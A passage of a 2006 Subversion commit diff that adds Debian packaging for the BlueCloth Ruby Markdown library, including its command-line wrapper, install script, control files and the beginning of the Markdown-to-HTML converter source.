+ [3]: http://www.whytheluckystiff.net/
+ [4]: http://www.textism.com/tools/textile/
+
+
+$Id: README 65 2004-08-24 14:56:47Z ged $
+$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
Added: packages/libbluecloth-ruby/trunk/bin/bluecloth
===================================================================
--- packages/libbluecloth-ruby/trunk/bin/bluecloth 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/bin/bluecloth 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,83 @@
+#!/usr/bin/ruby
+#
+# = bluecloth
+#
+# Format one or more text files with the markdown formatter.
+#
+# = Synopsis
+#
+# bluecloth [OPTIONS] [FILES]
+#
+#
+#
+
+BEGIN {
+ require 'bluecloth'
+ require 'optparse'
+}
+
+DocumentWrapper = %{
+<html>
+ <head><title>%s</title></head>
+ <body>
+%s
+ </body>
+</html>
+}
+
+def main
+ fragment = false
+ destination = '.'
+
+ ARGV.options do |oparser|
+
+ oparser.banner = "Usage: #$0 [OPTIONS] FILES"
+
+ # Debug mode
+ oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
+ $DEBUG = true
+ }
+
+ # 'Fragment' mode
+ oparser.on( "--fragment", "-f", TrueClass,
+ "Output HTML fragments instead of whole documents" ) {
+ fragment = true
+ }
+
+ # Output destination
+ #oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
+ # "Write output to DESTINATION instead of the current directory" ) {|arg|
+ # destination = arg
+ #}
+
+ oparser.parse!
+ end
+
+ # Filter mode if no arguments
+ ARGV.push( "-" ) if ARGV.empty?
+
+ ARGV.each {|file|
+ if file == '-'
+ contents = $stdin.readlines(nil)
+ else
+ contents = File::readlines( file, nil )
+ end
+
+ bc = BlueCloth::new( contents.join )
+
+ if fragment
+ $stdout.puts bc.to_html
+ else
+ $stdout.puts DocumentWrapper % [ file, bc.to_html ]
+ end
+ }
+
+rescue => err
+ $stderr.puts "Aborting: Fatal error: %s" % err.message
+ exit 255
+end
+
+
+
+main
+
Property changes on: packages/libbluecloth-ruby/trunk/bin/bluecloth
___________________________________________________________________
Name: svn:executable
+
Added: packages/libbluecloth-ruby/trunk/debian/changelog
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/changelog 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/changelog 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,6 @@
+libbluecloth-ruby (1.0.0-1) unstable; urgency=low
+
+ * Initial debian package
+
+ -- Arnaud Cornet <arnaud.cornet at gmail.com> Fri, 12 May 2006 00:39:36 +0200
+
Added: packages/libbluecloth-ruby/trunk/debian/compat
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/compat 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/compat 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1 @@
+5
Added: packages/libbluecloth-ruby/trunk/debian/control
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/control 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/control 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,29 @@
+Source: libbluecloth-ruby
+Section: interpreters
+Priority: optional
+Maintainer: Arnaud Cornet <arnaud.cornet at gmail.com>
+Build-Depends-Indep: ruby-pkg-tools (>= 0.8), cdbs, debhelper (>= 4.0.0), ruby
+Standards-Version: 3.6.2
+
+Package: libbluecloth-ruby
+Architecture: all
+Depends: libbluecloth-ruby1.8
+Description: A Ruby implementation of Markdown.
+ BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+ tool for web writers. Markdown allows you to write using an easy-to-read,
+ easy-to-write plain text format, then convert it to structurally valid XHTML
+ (or HTML).
+ .
+ This package is part of the Ruby library extras, a supplement to Ruby's
+ standard library.
+ .
+
+Package: libbluecloth-ruby1.8
+Architecture: all
+Depends: ruby1.8
+Description: A Ruby implementation of Markdown.
+ BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+ tool for web writers. Markdown allows you to write using an easy-to-read,
+ easy-to-write plain text format, then convert it to structurally valid XHTML
+ (or HTML).
+
Added: packages/libbluecloth-ruby/trunk/debian/control.in
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/control.in 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/control.in 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,29 @@
+Source: libbluecloth-ruby
+Section: interpreters
+Priority: optional
+Maintainer: Arnaud Cornet <arnaud.cornet at gmail.com>
+Build-Depends-Indep: ruby-pkg-tools (>= 0.8), cdbs, debhelper (>= 4.0.0), ruby
+Standards-Version: 3.6.2
+
+Package: libbluecloth-ruby
+Architecture: all
+Depends: libbluecloth-ruby1.8
+Description: A Ruby implementation of Markdown.
+ BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+ tool for web writers. Markdown allows you to write using an easy-to-read,
+ easy-to-write plain text format, then convert it to structurally valid XHTML
+ (or HTML).
+ .
+ This package is part of the Ruby library extras, a supplement to Ruby's
+ standard library.
+ .
+
+Package: libbluecloth-ruby1.8
+Architecture: all
+Depends: ruby1.8
+Description: A Ruby implementation of Markdown.
+ BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+ tool for web writers. Markdown allows you to write using an easy-to-read,
+ easy-to-write plain text format, then convert it to structurally valid XHTML
+ (or HTML).
+
Added: packages/libbluecloth-ruby/trunk/debian/copyright
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/copyright 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/copyright 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,19 @@
+This package was debianized by Arnaud Cornet <arnaud.cornet at gmail.com> on
+Fri, 12 May 2006 00:15:34 +0200.
+
+It was downloaded from http://www.deveiate.org/projects/BlueCloth
+
+Upstream Author: Michael Granger
+
+License:
+
+BlueCloth is distributed under the GPL.
+
+On Debian systems, the full text of the GNU General Public License can be
+found at /usr/share/common-licenses/GPL.
+
+The install.rb file included in the package's source is released under the Perl
+Artistic license:
+
+On Debian systems, the full text of the Perl Artistic license can be
+found at /usr/share/common-licenses/Artistic.
Added: packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1 @@
+lib/bluecloth.rb usr/lib/ruby/1.8/
Added: packages/libbluecloth-ruby/trunk/debian/rules
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/rules 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/rules 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,4 @@
+#!/usr/bin/make -f
+
+include /usr/share/cdbs/1/rules/debhelper.mk
+include /usr/share/ruby-pkg-tools/1/rules/uploaders.mk
Property changes on: packages/libbluecloth-ruby/trunk/debian/rules
___________________________________________________________________
Name: svn:executable
+
Added: packages/libbluecloth-ruby/trunk/debian/watch
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/watch 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/watch 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,2 @@
+version=3
+http://www.deveiate.org/projects/BlueCloth BlueCloth-(.*)\.tar\.*
Added: packages/libbluecloth-ruby/trunk/install.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/install.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/install.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,150 @@
+#!/usr/bin/ruby
+#
+# BlueCloth Module Install Script
+# $Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
+#
+# Thanks to Masatoshi SEKI for ideas found in his install.rb.
+#
+# Copyright (c) 2001-2004 The FaerieMUD Consortium.
+#
+# This is free software. You may use, modify, and/or redistribute this
+# software under the terms of the Perl Artistic License. (See
+# http://language.perl.com/misc/Artistic.html)
+#
+
+require './utils.rb'
+include UtilityFunctions
+
+require 'rbconfig'
+include Config
+
+require 'find'
+require 'ftools'
+
+
+$version = %q$Revision: 1.3 $
+$rcsId = %q$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
+
+# Define required libraries
+RequiredLibraries = [
+ # libraryname, nice name, RAA URL, Download URL
+ [ 'strscan', "StrScan",
+ 'http://raa.ruby-lang.org/list.rhtml?name=strscan',
+ 'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
+ [ 'logger', "Devel-Logger",
+ 'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
+ 'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
+]
+
+class Installer
+
+ @@PrunePatterns = [
+ /CVS/,
+ /~$/,
+ %r:(^|/)\.:,
+ /\.tpl$/,
+ ]
+
+ def initialize( testing=false )
+ @ftools = (testing) ? self : File
+ end
+
+ ### Make the specified dirs (which can be a String or an Array of Strings)
+ ### with the specified mode.
+ def makedirs( dirs, mode=0755, verbose=false )
+ dirs = [ dirs ] unless dirs.is_a? Array
+
+ oldumask = File::umask
+ File::umask( 0777 - mode )
+
+ for dir in dirs
+ if @ftools == File
+ File::mkpath( dir, $verbose )
+ else
+ $stderr.puts "Make path %s with mode %o" % [ dir, mode ]
+ end
+ end
+
+ File::umask( oldumask )
+ end
+
+ def install( srcfile, dstfile, mode=nil, verbose=false )
+ dstfile = File.catname(srcfile, dstfile)
+ unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
+ $stderr.puts " install #{srcfile} -> #{dstfile}"
+ else
+ $stderr.puts " skipping #{dstfile}: unchanged"
+ end
+ end
+
+ public
+
+ def installFiles( src, dstDir, mode=0444, verbose=false )
+ directories = []
+ files = []
+
+ if File.directory?( src )
+ Find.find( src ) {|f|
+ Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
+ next if f == src
+
+ if FileTest.directory?( f )
+ directories << f.gsub( /^#{src}#{File::Separator}/, '' )
+ next
+
+ elsif FileTest.file?( f )
+ files << f.gsub( /^#{src}#{File::Separator}/, '' )
+
+ else
+ Find.prune
+ end
+ }
+ else
+ files << File.basename( src )
+ src = File.dirname( src )
+ end
+
+ dirs = [ dstDir ]
+ dirs |= directories.collect {|d| File.join(dstDir,d)}
+ makedirs( dirs, 0755, verbose )
+ files.each {|f|
+ srcfile = File.join(src,f)
+ dstfile = File.dirname(File.join( dstDir,f ))
+
+ if verbose
+ if mode
+ $stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
+ else
+ $stderr.puts "Install #{srcfile} -> #{dstfile}"
+ end
+ end
+
+ @ftools.install( srcfile, dstfile, mode, verbose )
+ }
+ end
+
+end
+
+if $0 == __FILE__
+ header "BlueCloth Installer #$version"
+
+ for lib in RequiredLibraries
+ testForRequiredLibrary( *lib )
+ end
+
+ viewOnly = ARGV.include? '-n'
+ verbose = ARGV.include? '-v'
+
+ debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
+ sitelibdir = CONFIG['sitelibdir']
+ debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
+ sitearchdir = CONFIG['sitearchdir']
+
+ message "Installing\n"
+ i = Installer.new( viewOnly )
+ i.installFiles( "lib", sitelibdir, 0444, verbose )
+end
+
+
+
+
Property changes on: packages/libbluecloth-ruby/trunk/install.rb
___________________________________________________________________
Name: svn:executable
+
Added: packages/libbluecloth-ruby/trunk/lib/bluecloth.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/lib/bluecloth.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/lib/bluecloth.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,1144 @@
+#!/usr/bin/ruby
+#
+# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+# tool.
+#
+# == Synopsis
+#
+# doc = BlueCloth::new "
+# ## Test document ##
+#
+# Just a simple test.
+# "
+#
+# puts doc.to_html
+#
+# == Authors
+#
+# * Michael Granger <ged at FaerieMUD.org>
+#
+# == Contributors
+#
+# * Martin Chase <stillflame at FaerieMUD.org> - Peer review, helpful suggestions
+# * Florian Gross <flgr at ccan.de> - Filter options, suggestions
+#
+# == Copyright
+#
+# Original version:
+# Copyright (c) 2003-2004 John Gruber
+# <http://daringfireball.net/>
+# All rights reserved.
+#
+# Ruby port:
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+# BlueCloth is free software; you can redistribute it and/or modify it under the
+# terms of the GNU General Public License as published by the Free Software
+# Foundation; either version 2 of the License, or (at your option) any later
+# version.
+#
+# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+#
+# == To-do
+#
+# * Refactor some of the larger uglier methods that have to do their own
+# brute-force scanning because of lack of Perl features in Ruby's Regexp
+# class. Alternately, could add a dependency on 'pcre' and use most Perl
+# regexps.
+#
+# * Put the StringScanner in the render state for thread-safety.
+#
+# == Version
+#
+# $Id: bluecloth.rb 69 2004-08-25 05:27:15Z ged $
+#
+
+require 'digest/md5'
+require 'logger'
+require 'strscan'
+
+
+### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+### tool.
+class BlueCloth < String
+
+ ### Exception class for formatting errors.
+ class FormatError < RuntimeError
+
+ ### Create a new FormatError with the given source +str+ and an optional
+ ### message about the +specific+ error.
+ def initialize( str, specific=nil )
+ if specific
+ msg = "Bad markdown format near %p: %s" % [ str, specific ]
+ else
+ msg = "Bad markdown format near %p" % str
+ end
+
+ super( msg )
+ end
+ end
+
+
+ # Release Version
+ Version = '0.0.3'
+
+ # SVN Revision
+ SvnRev = %q$Rev: 69 $
+
+ # SVN Id tag
+ SvnId = %q$Id: bluecloth.rb 69 2004-08-25 05:27:15Z ged $
+
+ # SVN URL
+ SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $
+
+
+ # Rendering state struct. Keeps track of URLs, titles, and HTML blocks
+ # midway through a render. I prefer this to the globals of the Perl version
+ # because globals make me break out in hives. Or something.
+ RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log )
+
+ # Tab width for #detab! if none is specified
+ TabWidth = 4
+
+ # The tag-closing string -- set to '>' for HTML
+ EmptyElementSuffix = "/>";
+
+ # Table of MD5 sums for escaped characters
+ EscapeTable = {}
+ '\\`*_{}[]()#.!'.split(//).each {|char|
+ hash = Digest::MD5::hexdigest( char )
+
+ EscapeTable[ char ] = {
+ :md5 => hash,
+ :md5re => Regexp::new( hash ),
+ :re => Regexp::new( '\\\\' + Regexp::escape(char) ),
+ }
+ }
+
+
+ #################################################################
+ ### I N S T A N C E M E T H O D S
+ #################################################################
+
+ ### Create a new BlueCloth string.
+ def initialize( content="", *restrictions )
+ @log = Logger::new( $deferr )
+ @log.level = $DEBUG ?
+ Logger::DEBUG :
+ ($VERBOSE ? Logger::INFO : Logger::WARN)
+ @scanner = nil
+
+ # Add any restrictions, and set the line-folding attribute to reflect
+ # what happens by default.
+ @filter_html = nil
+ @filter_styles = nil
+ restrictions.flatten.each {|r| __send__("#{r}=", true) }
+ @fold_lines = true
+
+ super( content )
+
+ @log.debug "String is: %p" % self
+ end
+
+
+ ######
+ public
+ ######
+
+ # Filters for controlling what gets output for untrusted input. (But really,
+ # you're filtering bad stuff out of untrusted input at submission-time via
+ # untainting, aren't you?)
+ attr_accessor :filter_html, :filter_styles
+
+ # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
+ # so this isn't used by anything.
+ attr_accessor :fold_lines
+
+
+ ### Render Markdown-formatted text in this string object as HTML and return
+ ### it. The parameter is for compatibility with RedCloth, and is currently
+ ### unused, though that may change in the future.
+ def to_html( lite=false )
+
+ # Create a StringScanner we can reuse for various lexing tasks
+ @scanner = StringScanner::new( '' )
+
+ # Make a structure to carry around stuff that gets placeholdered out of
+ # the source.
+ rs = RenderState::new( {}, {}, {} )
+
+ # Make a copy of the string with normalized line endings, tabs turned to
+ # spaces, and a couple of guaranteed newlines at the end
+ text = self.gsub( /\r\n?/, "\n" ).detab
+ text += "\n\n"
+ @log.debug "Normalized line-endings: %p" % text
+
+ # Filter HTML if we're asked to do so
+ if self.filter_html
+ text.gsub!( "<", "<" )
+ text.gsub!( ">", ">" )
+ @log.debug "Filtered HTML: %p" % text
+ end
+
+ # Simplify blank lines
+ text.gsub!( /^ +$/, '' )
+ @log.debug "Tabs -> spaces/blank lines stripped: %p" % text
+
+ # Replace HTML blocks with placeholders
+ text = hide_html_blocks( text, rs )
+ @log.debug "Hid HTML blocks: %p" % text
+ @log.debug "Render state: %p" % rs
+
+ # Strip link definitions, store in render state
+ text = strip_link_definitions( text, rs )
+ @log.debug "Stripped link definitions: %p" % text
+ @log.debug "Render state: %p" % rs
+
+ # Escape meta-characters
+ text = escape_special_chars( text )
+ @log.debug "Escaped special characters: %p" % text
+
+ # Transform block-level constructs
+ text = apply_block_transforms( text, rs )
+ @log.debug "After block-level transforms: %p" % text
+
+ # Now swap back in all the escaped characters
+ text = unescape_special_chars( text )
+ @log.debug "After unescaping special characters: %p" % text
+
+ return text
+ end
+
+
+ ### Convert tabs in +str+ to spaces.
+ def detab( tabwidth=TabWidth )
+ copy = self.dup
+ copy.detab!( tabwidth )
+ return copy
+ end
+
+
+ ### Convert tabs to spaces in place and return self if any were converted.
+ def detab!( tabwidth=TabWidth )
+ newstr = self.split( /\n/ ).collect {|line|
+ line.gsub( /(.*?)\t/ ) do
+ $1 + ' ' * (tabwidth - $1.length % tabwidth)
+ end
+ }.join("\n")
+ self.replace( newstr )
+ end
+
+
+ #######
+ #private
+ #######
+
+ ### Do block-level transforms on a copy of +str+ using the specified render
+ ### state +rs+ and return the results.
+ def apply_block_transforms( str, rs )
+ # Port: This was called '_runBlockGamut' in the original
+
+ @log.debug "Applying block transforms to:\n %p" % str
+ text = transform_headers( str, rs )
+ text = transform_hrules( text, rs )
+ text = transform_lists( text, rs )
+ text = transform_code_blocks( text, rs )
+ text = transform_block_quotes( text, rs )
+ text = transform_auto_links( text, rs )
+ text = hide_html_blocks( text, rs )
+
+ text = form_paragraphs( text, rs )
+
+ @log.debug "Done with block transforms:\n %p" % text
+ return text
+ end
+
+
+ ### Apply Markdown span transforms to a copy of the specified +str+ with the
+ ### given render state +rs+ and return it.
+ def apply_span_transforms( str, rs )
+ @log.debug "Applying span transforms to:\n %p" % str
+
+ str = transform_code_spans( str, rs )
+ str = encode_html( str )
+ str = transform_images( str, rs )
+ str = transform_anchors( str, rs )
+ str = transform_italic_and_bold( str, rs )
+
+ # Hard breaks
+ str.gsub!( / {2,}\n/, "<br#{EmptyElementSuffix}\n" )
+
+ @log.debug "Done with span transforms:\n %p" % str
+ return str
+ end
+
+
+ # The list of tags which are considered block-level constructs and an
+ # alternation pattern suitable for use in regexps made from the list
+ StrictBlockTags = %w[ p div h[1-6] blockquote pre table dl ol ul script noscript
+ form fieldset iframe math ins del ]
+ StrictTagPattern = StrictBlockTags.join('|')
+
+ LooseBlockTags = StrictBlockTags - %w[ins del]
+ LooseTagPattern = LooseBlockTags.join('|')
+
+ # Nested blocks:
+ # <div>
+ # <div>
+ # tags for inner block must be indented.
+ # </div>
+ # </div>
+ StrictBlockRegex = %r{
+ ^ # Start of line
+ <(#{StrictTagPattern}) # Start tag: \2
+ \b # word break
+ (.*\n)*? # Any number of lines, minimal match
+ </\1> # Matching end tag
+ [ ]* # trailing spaces
+ $ # End of line or document
+ }ix
+
+ # More-liberal block-matching
+ LooseBlockRegex = %r{
+ ^ # Start of line
+ <(#{LooseTagPattern}) # start tag: \2
+ \b # word break
+ (.*\n)*? # Any number of lines, minimal match
+ .*</\1> # Anything + Matching end tag
+ [ ]* # trailing spaces
+ $ # End of line or document
+ }ix
+
+ # Special case for <hr />.
+ HruleBlockRegex = %r{
+ ( # $1
+ \A\n? # Start of doc + optional \n
+ | # or
+ .*\n\n # anything + blank line
+ )
+ ( # save in $2
+ [ ]* # Any spaces
+ <hr # Tag open
+ \b # Word break
+ ([^<>])*? # Attributes
+ /?> # Tag close
+ $ # followed by a blank line or end of document
+ )
+ }ix
+
+ ### Replace all blocks of HTML in +str+ that start in the left margin with
+ ### tokens.
+ def hide_html_blocks( str, rs )
+ @log.debug "Hiding HTML blocks in %p" % str
+
+ # Tokenizer proc to pass to gsub
+ tokenize = lambda {|match|
+ key = Digest::MD5::hexdigest( match )
+ rs.html_blocks[ key ] = match
+ @log.debug "Replacing %p with %p" % [ match, key ]
+ "\n\n#{key}\n\n"
+ }
+
+ rval = str.dup
+
+ @log.debug "Finding blocks with the strict regex..."
+ rval.gsub!( StrictBlockRegex, &tokenize )
+
+ @log.debug "Finding blocks with the loose regex..."
+ rval.gsub!( LooseBlockRegex, &tokenize )
+
+ @log.debug "Finding hrules..."
+ rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] }
+
+ return rval
+ end
+
+
+ # Link defs are in the form: ^[id]: url "optional title"
+ LinkRegex = %r{
+ ^[ ]*\[(.+)\]: # id = $1
+ [ ]*
+ \n? # maybe *one* newline
+ [ ]*
+ <?(\S+?)>? # url = $2
+ [ ]*
+ \n? # maybe one newline
+ [ ]*
+ (?:
+ # Titles are delimited by "quotes" or (parens).
+ ["(]
+ (.+?) # title = $3
+ [")] # Matching ) or "
+ [ ]*
+ )? # title is optional
+ (?:\n+|\Z)
+ }x
+
+ ### Strip link definitions from +str+, storing them in the given RenderState
+ ### +rs+.
+ def strip_link_definitions( str, rs )
+ str.gsub( LinkRegex ) {|match|
+ id, url, title = $1, $2, $3
+
+ rs.urls[ id.downcase ] = encode_html( url )
+ unless title.nil?
+ rs.titles[ id.downcase ] = title.gsub( /"/, """ )
+ end
+ ""
+ }
+ end
+
+
+ ### Escape special characters in the given +str+
+ def escape_special_chars( str )
+ @log.debug " Escaping special characters"
+ text = ''
+
+ # The original Markdown source has something called '$tags_to_skip'
+ # declared here, but it's never used, so I don't define it.
+
+ tokenize_html( str ) {|token, str|
+ @log.debug " Adding %p token %p" % [ token, str ]
+ case token
+
+ # Within tags, encode * and _
+ when :tag
+ text += str.
+ gsub( /\*/, EscapeTable['*'][:md5] ).
+ gsub( /_/, EscapeTable['_'][:md5] )
+
+ # Encode backslashed stuff in regular text
+ when :text
+ text += encode_backslash_escapes( str )
+ else
+ raise TypeError, "Unknown token type %p" % token
+ end
+ }
+
+ @log.debug " Text with escapes is now: %p" % text
+ return text
+ end
+
+
+ ### Swap escaped special characters in a copy of the given +str+ and return
+ ### it.
+ def unescape_special_chars( str )
+ EscapeTable.each {|char, hash|
+ @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ]
+ str.gsub!( hash[:md5re], char )
+ }
+
+ return str
+ end
+
+
+ ### Return a copy of the given +str+ with any backslashed special character
+ ### in it replaced with MD5 placeholders.
+ def encode_backslash_escapes( str )
+ # Make a copy with any double-escaped backslashes encoded
+ text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] )
+
+ EscapeTable.each_pair {|char, esc|
+ next if char == '\\'
+ text.gsub!( esc[:re], esc[:md5] )
+ }
+
+ return text
+ end
+
+
+ ### Transform any Markdown-style horizontal rules in a copy of the specified
+ ### +str+ and return it.
+ def transform_hrules( str, rs )
+ @log.debug " Transforming horizontal rules"
+ str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n<hr#{EmptyElementSuffix}\n" )
+ end
+
+
+
+ # Patterns to match and transform lists
+ ListMarkerOl = %r{\d+\.}
+ ListMarkerUl = %r{[*+-]}
+ ListMarkerAny = Regexp::union( ListMarkerOl, ListMarkerUl )
+
+ ListRegexp = %r{
+ (?:
+ ^[ ]{0,#{TabWidth - 1}} # Indent < tab width
+ (#{ListMarkerAny}) # unordered or ordered ($1)
+ [ ]+ # At least one space
+ )
+ (?m:.+?) # item content (include newlines)
+ (?:
+ \z # Either EOF
+ | # or
+ \n{2,} # Blank line...
+ (?=\S) # ...followed by non-space
+ (?![ ]* # ...but not another item
+ (#{ListMarkerAny})
+ [ ]+)
+ )
+ }x
+
+ ### Transform Markdown-style lists in a copy of the specified +str+ and
+ ### return it.
+ def transform_lists( str, rs )
+ @log.debug " Transforming lists at %p" % (str[0,100] + '...')
+
+ str.gsub( ListRegexp ) {|list|
+ @log.debug " Found list %p" % list
+ bullet = $1
+ list_type = (ListMarkerUl.match(bullet) ? "ul" : "ol")
+ list.gsub!( /\n{2,}/, "\n\n\n" )
+
+ %{<%s>\n%s</%s>\n} % [
+ list_type,
+ transform_list_items( list, rs ),
+ list_type,
+ ]
+ }
+ end
+
+
+ # Pattern for transforming list items
+ ListItemRegexp = %r{
+ (\n)? # leading line = $1
+ (^[ ]*) # leading whitespace = $2
+ (#{ListMarkerAny}) [ ]+ # list marker = $3
+ ((?m:.+?) # list item text = $4
+ (\n{1,2}))
+ (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+))
+ }x
+
+ ### Transform list items in a copy of the given +str+ and return it.
+ def transform_list_items( str, rs )
+ @log.debug " Transforming list items"
+
+ # Trim trailing blank lines
+ str = str.sub( /\n{2,}\z/, "\n" )
+
+ str.gsub( ListItemRegexp ) {|line|
+ @log.debug " Found item line %p" % line
+ leading_line, item = $1, $4
+
+ if leading_line or /\n{2,}/.match( item )
+ @log.debug " Found leading line or item has a blank"
+ item = apply_block_transforms( outdent(item), rs )
+ else
+ # Recursion for sub-lists
+ @log.debug " Recursing for sublist"
+ item = transform_lists( outdent(item), rs ).chomp
+ item = apply_span_transforms( item, rs )
+ end
+
+ %{<li>%s</li>\n} % item
+ }
+ end
+
+
+ # Pattern for matching codeblocks
+ CodeBlockRegexp = %r{
+ (?:\n\n|\A)
+ ( # $1 = the code block
+ (?:
+ (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces
+ .*\n+
+ )+
+ )
+ (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at
+ # line-start, or end of doc
+ }x
+
+ ### Transform Markdown-style codeblocks in a copy of the specified +str+ and
+ ### return it.
+ def transform_code_blocks( str, rs )
+ @log.debug " Transforming code blocks"
+
+ str.gsub( CodeBlockRegexp ) {|block|
+ codeblock = $1
+ remainder = $2
+
+ # Generate the codeblock
+ %{\n\n<pre><code>%s\n</code></pre>\n\n%s} %
+ [ encode_code( outdent(codeblock), rs ).rstrip, remainder ]
+ }
+ end
+
+
+ # Pattern for matching Markdown blockquote blocks
+ BlockQuoteRegexp = %r{
+ (?:
+ ^[ ]*>[ ]? # '>' at the start of a line
+ .+\n # rest of the first line
+ (?:.+\n)* # subsequent consecutive lines
+ \n* # blanks
+ )+
+ }x
+ PreChunk = %r{ ( ^ \s* <pre> .+? </pre> ) }xm
+
+ ### Transform Markdown-style blockquotes in a copy of the specified +str+
+ ### and return it.
+ def transform_block_quotes( str, rs )
+ @log.debug " Transforming block quotes"
+
+ str.gsub( BlockQuoteRegexp ) {|quote|
+ @log.debug "Making blockquote from %p" % quote
+
+ quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting
+ quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines
+
+ indent = " " * TabWidth
+ quoted = %{<blockquote>\n%s\n</blockquote>\n\n} %
+ apply_block_transforms( quote, rs ).
+ gsub( /^/, indent ).
+ gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') }
+ @log.debug "Blockquoted chunk is: %p" % quoted
+ quoted
+ }
+ end
+
+
+ AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/
+ AutoAnchorEmailRegexp = %r{
+ <
+ (
+ [-.\w]+
+ \@
+ [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
+ )
+ >
+ }xi
+
+ ### Transform URLs in a copy of the specified +str+ into links and return
+ ### it.
+ def transform_auto_links( str, rs )
+ @log.debug " Transforming auto-links"
+ str.gsub( AutoAnchorURLRegexp, %{<a href="\\1">\\1</a>}).
+ gsub( AutoAnchorEmailRegexp ) {|addr|
+ encode_email_address( unescape_special_chars($1) )
+ }
+ end
+
+
+ # Encoder functions to turn characters of an email address into encoded
+ # entities.
+ Encoders = [
+ lambda {|char| "&#%03d;" % char},
+ lambda {|char| "&#x%X;" % char},
+ lambda {|char| char.chr },
+ ]
+
+ ### Transform a copy of the given email +addr+ into an escaped version safer
+ ### for posting publicly.
+ def encode_email_address( addr )
+
+ rval = ''
+ ("mailto:" + addr).each_byte {|b|
+ case b
+ when ?:
+ rval += ":"
+ when ?@
+ rval += Encoders[ rand(2) ][ b ]
+ else
+ r = rand(100)
+ rval += (
+ r > 90 ? Encoders[2][ b ] :
+ r < 45 ? Encoders[1][ b ] :
+ Encoders[0][ b ]
+ )
+ end
+ }
+
+ return %{<a href="%s">%s</a>} % [ rval, rval.sub(/.+?:/, '') ]
+ end
+
+
+ # Regex for matching Setext-style headers
+ SetextHeaderRegexp = %r{
+ (.+) # The title text ($1)
+ \n
+ ([\-=])+ # Match a line of = or -. Save only one in $2.
+ [ ]*\n+
+ }x
+
+ # Regexp for matching ATX-style headers
+ AtxHeaderRegexp = %r{
+ ^(\#{1,6}) # $1 = string of #'s
+ [ ]*
+ (.+?) # $2 = Header text
+ [ ]*
